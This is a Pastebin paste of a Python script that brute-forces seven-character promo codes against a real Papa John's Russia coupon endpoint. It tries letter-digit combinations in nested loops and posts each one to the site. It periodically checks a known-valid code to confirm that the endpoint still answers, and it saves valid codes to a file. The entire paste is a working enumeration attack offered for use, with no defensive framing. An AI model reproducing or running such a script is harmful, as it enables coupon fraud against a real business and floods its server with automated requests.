Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import string
- import json
- LETTERS = 'abcdefghijklmnopqrstuvwxyz1234567890'
- MARKER = 'love'
- def normalize(s):
- """
- Remove unprintable characters from string
- :param s: String to normalize
- :return:
- """
- my_own_list = set([ord(x) for x in string.printable])
- result = ""
- for p in s:
- if p in my_own_list:
- result += chr(p)
- return result
- def check_key(key):
- """
- Update data in DB
- :return:
- """
- URL = 'https://dolgoprudniy.papajohns.ru/stock/stock/getbycode/'
- # Скачиваем страницу
- html = ""
- headers = {'X-Requested-With': 'XMLHttpRequest'}
- response = requests.post(URL + key, allow_redirects=False, headers=headers)
- res = json.loads(response.text)
- return res['stock']
- def brute():
- with open('result.txt', 'w') as file:
- for a in LETTERS:
- for b in LETTERS:
- if a != b:
- for c in LETTERS:
- if b != c:
- for d in LETTERS:
- if c != d:
- for e in LETTERS:
- if d != e:
- if not check_key(MARKER):
- print("!!! ***TEST NOT PASSED. ABORTING*** !!!")
- file.write("!!! ***TEST NOT PASSED. ABORTING*** !!!")
- return
- for f in LETTERS:
- if e != f:
- for g in LETTERS:
- if f != g:
- if check_key(a+b+c+d+e+f+g):
- print("Valid: " + a+b+c+d+e+f+g)
- file.write(a+b+c+d+e+f+g)
- else:
- print("Invalid: " + a+b+c+d+e+f+g)
- if __name__ == '__main__':
- brute()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement